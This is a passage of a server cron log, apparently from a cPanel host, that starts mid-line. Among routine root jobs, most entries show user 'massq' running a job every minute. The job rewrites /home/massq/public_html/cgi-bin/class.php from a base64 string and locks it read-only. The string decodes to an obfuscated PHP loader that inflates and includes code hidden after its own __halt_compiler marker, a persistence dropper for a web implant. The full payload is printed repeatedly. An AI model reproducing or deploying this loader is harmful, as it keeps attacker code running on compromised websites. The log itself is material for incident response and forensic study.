&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:50:01 server CROND[28334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:50:01 server CROND[28335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:50:01 server CROND[28342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:50:01 server CROND[28341]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 22:50:01 server CROND[28344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:51:01 server CROND[29255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:52:01 server CROND[29988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:53:01 server CROND[30798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:54:01 server CROND[31885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:55:01 server CROND[32699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:55:01 server CROND[32701]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:55:01 server CROND[32702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:56:01 server CROND[1123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:57:01 server CROND[1942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:57:01 server CROND[1943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:58:01 server CROND[2769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:59:01 server CROND[3580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:00:01 server CROND[4445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 23:00:01 server CROND[4447]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 23:00:01 server CROND[4450]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 23:00:01 server CROND[4446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:01:01 server CROND[5368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 23:01:01 server CROND[5369]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 23:01:01 server run-parts(/etc/cron.hourly)[5369]: starting 0anacron
Nov 10 23:01:01 server run-parts(/etc/cron.hourly)[5381]: finished 0anacron
